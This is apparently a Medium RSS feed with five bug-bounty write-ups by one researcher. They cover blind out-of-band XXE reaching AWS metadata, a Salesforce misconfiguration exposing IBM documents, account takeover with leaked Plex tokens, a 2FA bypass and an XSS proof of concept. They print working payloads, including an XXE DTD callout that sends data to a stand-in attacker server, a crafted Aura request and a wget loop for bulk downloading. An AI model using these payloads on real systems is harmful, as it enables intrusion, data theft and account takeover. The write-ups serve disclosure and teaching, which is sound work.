<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohamed Taha on Medium]]></title>
        <description><![CDATA[Stories by Mohamed Taha on Medium]]></description>
        <link>https://medium.com/@mohamedtaha_42562?source=rss-6fa9a37988bb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*H9F-0jQdIp614uaL</url>
            <title>Stories by Mohamed Taha on Medium</title>
            <link>https://medium.com/@mohamedtaha_42562?source=rss-6fa9a37988bb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 05:09:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohamedtaha_42562/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting Blind XXE: Going Out of Band]]></title>
            <link>https://medium.com/@mohamedtaha_42562/exploiting-blind-xxe-going-out-of-band-f04e3c1ea7ef?source=rss-6fa9a37988bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f04e3c1ea7ef</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohamed Taha]]></dc:creator>
            <pubDate>Thu, 16 Nov 2023 10:26:50 GMT</pubDate>
            <atom:updated>2023-11-16T10:28:12.340Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction:</h3><p>Hi, my name is Mohamed Taha, I am working as a bug hunter for 4 years now. Today I want to share a write-up about how I was able to find an Out of Band XXE that led to read AWS metadata and Access files on the server.</p><h3>What is blind XXE:</h3><blockquote>Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses. This means that direct retrieval of server-side files is not possible, and so blind XXE is generally harder to exploit than regular XXE vulnerabilities. “Portswigger”</blockquote><p>I was testing the target and found an endpoint and the response header contains: <strong>Accept: application/xml </strong>header. And the response was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*d0jFjuDGMJ8cqhSZJEMnAg.png" /></figure><p>I tried basic payloads but I did not see any changes in the response body.</p><p>So I tried a payload that ping my server and it works!</p><pre>&lt;?xml version=&quot;1.0&quot;?&gt;<br><br>&lt;!DOCTYPE foo SYSTEM &quot;http://SERVER:443/&quot;&gt;</pre><p>So I am sure now that there is a vulnerability here but the severity is low. Going forward, I started testing more about out of band XXE. I was reading a great blog post from <a href="https://0xmahmoudjo0.medium.com/exploiting-out-of-band-xxe-in-the-wild-16fc6dad9ee2">Mahmoud Youssef</a> and my exploit was a little bit similar to the aforementioned write-up.</p><p><strong>To illustrate more about how Out of Band XXE works:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjnL9kRHVd-qyvqqs97yMw.png" /><figcaption><a href="https://www.synack.com/blog/a-deep-dive-into-xxe-injection/">https://www.synack.com/blog/a-deep-dive-into-xxe-injection/</a></figcaption></figure><p>At this following pic, the attacker make a POST request with his XXE payload. Then the server request <strong>aws.data</strong> which contains a payload that is asking for <a href="http://169.254.169.254/latest/meta-data/local-hostname">http://169.254.169.254/latest/meta-data/local-hostname</a> <br>which is used to <strong>retrieve AWS user data and instance metadata specific to a instance</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*VwEnyWivu-nDwyY4MYKCfw.png" /></figure><p>The aws.dtd payload contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*RTdEjTNzwm-jOeNt4ELMbw.png" /><figcaption>aws.dtd file</figcaption></figure><p><strong>Explanation of the payload:</strong></p><ul><li>The payload includes a Document Type Definition (DOCTYPE) declaration pointing to an external DTD file hosted on “<a href="http://server:443/aws.dtd">http://SERVER:443/aws.dtd</a>.&quot;</li><li>It references the entity “&amp;attack;” within the XML document.</li><li>The DTD file defines two entities: “%vuln1” and “%vuln2.”</li><li>“%vuln1” fetches sensitive information from the metadata service of an AWS instance using the URL “<a href="http://169.254.169.254/latest/meta-data/local-hostname">http://169.254.169.254/latest/meta-data/local-hostname</a>.&quot;</li><li>“%vuln2” constructs the final entity “&amp;attack;” with the value obtained from “%vuln1.”</li><li>Execution:</li><li>When the XML payload is processed, it fetches the external DTD file from the specified server (“<a href="http://server:443/aws.dtd">http://SERVER:443/aws.dtd</a>&quot;).</li><li>The DTD file, in turn, triggers a request to the AWS metadata service, extracting sensitive data like the local hostname.</li><li>The extracted data is then sent to the attacker’s server at “<a href="http://server:443/?%vuln1">http://SERVER:443/?%vuln1</a>;.&quot;</li></ul><p>And the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*7hcMX-h8RhET4YKK-xvQUw.png" /></figure><p>Then I wanted to read internal files from the server so I made a similar payload:</p><pre>&lt;?xml version=&quot;1.0&quot;?&gt;<br><br>&lt;!DOCTYPE foo SYSTEM &quot;http://SERVER:443/file.dtd&quot;&gt;<br><br>&lt;foo&gt;&amp;attack;&lt;/foo&gt;</pre><p>And in file.dtd:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*PBayUpoa-K-RwgGGhmSq3g.png" /><figcaption>file.dtd</figcaption></figure><p>And I was able to read /etc/hostname file.</p><p>The vulnerability was triaged as High severity.</p><p>Reach me out if you have any question:</p><p><a href="https://twitter.com/Mohamed12742780">Twitter</a></p><p><a href="http://fb.com/mohamedtaha2001">Facebook</a></p><p><strong>References:</strong></p><p><a href="https://portswigger.net/web-security/xxe/blind#top">What is a blind XXE attack? Tutorial &amp; Examples | Web Security Academy</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f04e3c1ea7ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I was able to access IBM internal documents]]></title>
            <link>https://medium.com/@mohamedtaha_42562/how-i-was-able-to-access-ibm-internal-documents-a33858387d30?source=rss-6fa9a37988bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a33858387d30</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohamed Taha]]></dc:creator>
            <pubDate>Thu, 19 May 2022 14:11:02 GMT</pubDate>
            <atom:updated>2022-05-19T14:11:02.005Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*0l8jclwVDOYEBA9EIdp9cA.jpeg" /></figure><p>Hi, today I will share how I was able to access internal data of <a href="https://weathercommunity.ibm.com/">https://weathercommunity.ibm.com</a> using salesforce misconfiguration.</p><p>This write-up will depends on this great blog: <a href="https://web.archive.org/web/20210125200757/https://www.enumerated.de/salesforce">Salesforce</a></p><p>so please read it first then read this write-up.</p><p>After I read this blog, I wanted to exploit it in the wild so I now I wanted to see the subdomains which point to on of the following CNAMEs:</p><p>*.force.com</p><p>*.secure.force.com</p><p>*live.siteforce.com</p><p>I used this great tool <a href="https://github.com/yghonem14/cngo">https://github.com/yghonem14/cngo</a> to get CNMAEs of all the websites that have program on hackerone through <a href="https://chaos.projectdiscovery.io/">https://chaos.projectdiscovery.io/</a></p><p>I found this subdomain<strong> weathercommunity.ibm.com</strong> which pointing out to: thercommunity.ibm.com.00de0000000avgcma2.live.siteforce.com</p><p>I found an endpoint like:</p><pre>POST /s/sfsites/aura?r=2&amp;applauncher.CommunityLogo.getCommunityName=1&amp;applauncher.CommunityLogo.getLogoURL=1&amp;applauncher.EmployeeLoginLink.getEmployeeLoginUrl=1&amp;applauncher.EmployeeLoginLink.getIsAllowInternalUserLoginEnabled=1&amp;applauncher.SocialLogin.getAuthProviders=1&amp;applauncher.SocialLogin.getSamlProviders=1&amp;applauncher.SocialLogin.handleIdp=1&amp;other.LightningLoginForm.getForgotPasswordUrl=1&amp;other.LightningLoginForm.getIsSelfRegistrationEnabled=1&amp;other.LightningLoginForm.getIsUsernamePasswordEnabled=1&amp;other.LightningLoginForm.getSelfRegistrationUrl=1&amp;ui-communities-components-aura-components-forceCommunity-richText.RichText.getParsedRichTextValue=2&amp;ui-communities-components-aura-components-forceCommunity-seoAssistant.SeoAssistant.getSeoLanguageData=1 HTTP/1.1</pre><p>then I sent this POST request to the Repeater and changed the <strong><em>Message</em></strong> parameter value to:</p><pre>{&quot;actions&quot;:[{&quot;id&quot;:&quot;123;a&quot;,&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems&quot;,&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,&quot;params&quot;:{&quot;entityNameOrId&quot;:&quot;MARKER&quot;,&quot;layoutType&quot;:&quot;FULL&quot;,&quot;pageSize&quot;:100,&quot;currentPage&quot;:0,&quot;useTimeout&quot;:false,&quot;getCount&quot;:false,&quot;enableRowActions&quot;:false}}]}</pre><p>Replacing the <strong><em>MARKER</em> </strong>string with: <strong><em>ContentDocument</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KPEN8hCMGzTVlQwcCC2lg.png" /></figure><p>See that there are more than 900 ID. I extracted the ID value which started with 069 and made a simple bash script to download them one by one through this endpoint /sfc/servlet.shepherd/document/download/$ID</p><p><a href="https://weathercommunity.ibm.com/sfc/servlet.shepherd/document/download/ID">https://weathercommunity.ibm.com/sfc/servlet.shepherd/document/download/ID</a></p><p>Example:</p><p><a href="https://weathercommunity.ibm.com/sfc/servlet.shepherd/document/download/0690h0000060wuHAAQ">https://weathercommunity.ibm.com/sfc/servlet.shepherd/document/download/0690h0000060wuHAAQ</a></p><pre>while read i<br>do wget --no-check-certificate &quot;https://weathercommunity.ibm.com/sfc/servlet.shepherd/document/download/$i&quot;<br>done &lt; $1</pre><p>Sample of the internal images:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpCg2HStFWDuqBrSusLalw.png" /></figure><p>Reporting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*dRkpuI-cEbQZ7es79cwlaQ.png" /></figure><p>Twitter:</p><p>twitter.com/mohamed12742780</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a33858387d30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Wayback to Account Takeover]]></title>
            <link>https://medium.com/@mohamedtaha_42562/from-wayback-to-account-takeover-ea7e80600188?source=rss-6fa9a37988bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea7e80600188</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Mohamed Taha]]></dc:creator>
            <pubDate>Thu, 19 May 2022 13:58:14 GMT</pubDate>
            <atom:updated>2022-05-19T13:59:33.804Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ZHM-5mKnTQW_ZG9mqZZPuw.png" /></figure><p>Hi, I would like to share how Wayback Machine leads to limited Account Takeover.</p><h3>What is Wayback:</h3><p>WayBackMachine is an archive of websites which contains over 330 billion web pages, all indexed for you to search through! WayBackMachine scrapes websites and saves a copy of it and you are able to go back numerous amounts of years &amp; view what they use to look like. From <a href="https://www.bugbountyhunter.com/guides/?type=waybackmachine">bugbountyhunter</a></p><p>I am always using <a href="https://github.com/tomnomnom/waybackurls">waybackurl </a>and <a href="https://github.com/lc/gau">gau </a>for finding any information disclosure like invitation token or any endpoints that might lead to a vulnerability.</p><p>The website that I was testing is plex.tv which is like Netflix. I Registered and started to see the features of the website while running burp in the background. I checked burp history and found this request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRbeixEA2u9_467V4IZz_A.png" /></figure><p>Notice the <strong>Plex-Token.</strong> This request is responsible for authentication with the website, meaning that if I intercepte this request while logging in to the website and change the <strong>Plex-Token</strong> to anyone else token, I will be logged in as this user. But how can I get this token? of course from above tools I searched for any archived links and surprisingly I found like 17 leaked tokens which I tested and I was able to login to these users which have premium accounts:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*YLuemWA_FAJNNjA-9ZoIew.png" /></figure><p>The response from the program:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*X6BUvAtKDzzjV0_DxmMWBg.png" /></figure><p>120$ which is not bad as it is a limited account takeover.</p><p>Thank you for Reading.</p><p>Twitter:</p><p>twitter.com/mohamed12742780</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea7e80600188" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I earned $$$ by bypassing 2FA]]></title>
            <link>https://medium.com/@mohamedtaha_42562/how-i-earned-by-bypassing-2fa-b5487942a86d?source=rss-6fa9a37988bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5487942a86d</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Mohamed Taha]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 08:55:13 GMT</pubDate>
            <atom:updated>2021-12-21T09:00:02.316Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*F4F5vffyquWlUQj2.jpg" /></figure><p>Hi, I would like to share how I was able to bypass 2FA. This is a private program on Hackerone, so we will call it example.com.</p><h3><strong>What is 2FA:</strong></h3><p>2FA is used as another layer of security to prevent Attackers from accessing the account if the attacker stole the password.</p><h3>The Vulnerability:</h3><p>I went to the website and enabled 2FA, then logged out and try to login again.</p><p>The website asked to enter the 2FA code and the url was like:</p><blockquote><strong>https://example.com/react-aspx/Authenticator.aspx</strong></blockquote><p>An idea came to my mind to enter the url of the dashboard directly which was like:</p><blockquote><a href="https://example.com/home.aspx"><strong>https://example.com/home.aspx</strong></a></blockquote><p>and I was able to bypass 2FA and access the account.</p><p><strong>Severity</strong>: Medium</p><p><strong>Bounty</strong>: $$$</p><p>Facebook: https://facebook.com/mohamedtaha2001/</p><p>Twitter: <a href="https://twitter.com/Mohamed12742780">https://twitter.com/Mohamed12742780</a></p><p>Thank you..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5487942a86d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found XSS vulnerability in Amazon in 5 minutes using shodan]]></title>
            <link>https://medium.com/@mohamedtaha_42562/how-i-found-xss-vulnerability-in-amazon-in-5-minutes-using-shodan-50b583655297?source=rss-6fa9a37988bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/50b583655297</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohamed Taha]]></dc:creator>
            <pubDate>Wed, 15 Dec 2021 11:22:00 GMT</pubDate>
            <atom:updated>2021-12-15T11:25:43.189Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oP3NnjnprYum_uPLggiE3Q.jpeg" /></figure><p>This is my first write-up. I was scrolling through twitter and I found this great tip:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*rc9-UVssMsC2hr8OGfhbEQ.png" /></figure><p>So I quickly went to shodan and write this dork:</p><blockquote><strong>html:”&gt;Oracle Business Intelligence”</strong></blockquote><p>to find the websites that is vulnerable to this CVE with organizations names so the final dork was like this:</p><blockquote><strong>html:”&gt;Oracle Business Intelligence” org:amazon</strong></blockquote><p>I found an IP which is owned by Amazon that is vulnerable to this CVE</p><p>the final POC is :</p><p><strong>https://52.46.133.78/bi-security-login/login.jsp?msi=false&amp;redirect=%22%3E%3Cimg/src/onerror%3dalert(document.domain)%3E</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*HvHUBYHEOW8_gnZirUIDxw.png" /></figure><p>Thank you.</p><p>Facebook: <a href="https://www.facebook.com/mohamedtaha2001">https://www.facebook.com/mohamedtaha2001</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50b583655297" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>